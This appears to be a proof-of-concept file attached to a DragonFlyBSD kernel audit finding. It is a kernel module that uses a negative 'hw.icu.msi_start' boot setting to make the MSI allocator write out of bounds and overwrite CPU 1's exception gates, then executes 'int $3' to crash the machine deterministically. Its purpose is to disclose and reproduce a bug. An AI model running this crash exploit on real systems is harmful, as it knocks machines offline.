⬢ DragonFlyBSD Kernel Audit
DF-5466 / icu_msi_start.c
← back to finding ↓ download raw
/*
 * DF-5466 evidence (boot-config driven): 'hw.icu.msi_start="-32"' in
 * /boot/loader.conf makes icu_abi_initmap() (icu_abi.c:319-324,
 * called unconditionally for every kernel at
 * sys/platform/pc64/x86_64/machdep.c:2785) compute
 *     icu_abi_msi_start = -32 & ~0x1f = -32
 * (kgetenv_int -> kgetenv_quad -> strtoq parses the '-' sign,
 * sys/kern/kern_environment.c:379-388).
 *
 * The very next ICU MSI allocation then runs the scan loop
 * (icu_abi.c:473) with i = -32 and, on any cpu > 0, finds a fully
 * "free" window: icu_irqmaps[cpuid][-32 .. -1] IS the previous row's
 * tail icu_irqmaps[cpuid-1][160..191] (all ICU_IMT_UNUSED):
 *   - OOB read  icu_abi.c:476/:480
 *   - OOB write icu_abi.c:495-496 (im_type/im_msi_base into the
 *     previous cpu's row)
 *   - intrs[j] = -32+j   icu_abi.c:498
 *   - msi_setup(-32+j, cpuid)  icu_abi.c:499 ->
 *       msi_intr[-32..-1] OOB read (msi.c:433, table is 192 entries in
 *       .rodata @ 0xffffffff80d9d800) AND
 *       setidt(0x20 + (-32+j) = 0..31, garbage, cpu) ->
 *       OVERWRITES CPU cpuid's EXCEPTION GATES 0..31 (#DE #PF #GP ...)
 *       with .rodata-derived garbage function pointers.
 * The module then pins itself to cpu 1 and executes 'int $3' so the
 * smashed gate #3 is exercised immediately (deterministic crash).
 *
 * If the allocation is rejected/clamped (fixed kernel), zone[0] stays
 * positive and the int3 is skipped.
 *
 * NOTE: no INVARIANTS KASSERT guards this path -- INVARIANTS kernels
 * are equally affected (unlike DF-5464/DF-5465).
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/machintr.h>
#include <sys/thread2.h>

extern struct machintr_abi MachIntrABI_ICU;

static int zone[32];

static void
smash_gate(void __unused *arg)
{
	/*
	 * Pin to cpu1 (whose gates 0..31 were just smashed by
	 * msi_setup(-32..-1, 1)) and take an int3 -> #BP vector 3 ->
	 * garbage RIP from msi_intr[-29] (rodata) -> crash.
	 */
	lwkt_migratecpu(1);
	kprintf("icu_msi_start: on cpu%d, triggering int3 (gate 3 was "
	    "smashed if zone[0] < 0)\n", mycpuid);
	__asm__ volatile("int $0x3");
	kprintf("icu_msi_start: int3 returned (gate NOT smashed?)\n");
}

static int
icu_msistart_modevent(module_t mod __unused, int type,
    void *data __unused)
{
	int i, rc;

	switch (type) {
	case MOD_LOAD:
		for (i = 0; i < 32; ++i)
			zone[i] = 0x7B7B7B7B;
		kprintf("icu_msi_start: hw.icu.msi_start was set to -32 via "
		    "/boot/loader.conf; calling ICU msi_alloc(zone, 32, "
		    "cpu1): scan starts at i=-32\n");
		rc = MachIntrABI_ICU.msi_alloc(zone, 32, 1);
		kprintf("icu_msi_start: rc=%d zone[0]=%d zone[31]=%d\n",
		    rc, zone[0], zone[31]);
		if (rc != 0 || zone[0] >= 0) {
			kprintf("icu_msi_start: allocation not OOB (fixed or "
			    "clamped kernel?) -- no gate smash, exiting "
			    "cleanly\n");
			return 0;
		}
		kprintf("icu_msi_start: NEGATIVE vectors allocated "
		    "(zone[0]=%d): OOB writes done, exception gates 0..31 "
			    "of cpu1 smashed with msi_intr[-k] rodata "
			    "garbage\n", zone[0]);
		/*
		 * The gates are already smashed; any exception on cpu1
		 * jumps to garbage.  Force it deterministically.
		 */
		smash_gate(NULL);
		kprintf("icu_msi_start: SURVIVED (unexpected)\n");
		return 0;
	case MOD_UNLOAD:
		return 0;
	default:
		return EOPNOTSUPP;
	}
}

static moduledata_t icu_msi_start_mod = {
	"icu_msi_start", icu_msistart_modevent, NULL
};
DECLARE_MODULE(icu_msi_start, icu_msi_start_mod,
    SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
MODULE_VERSION(icu_msi_start, 1);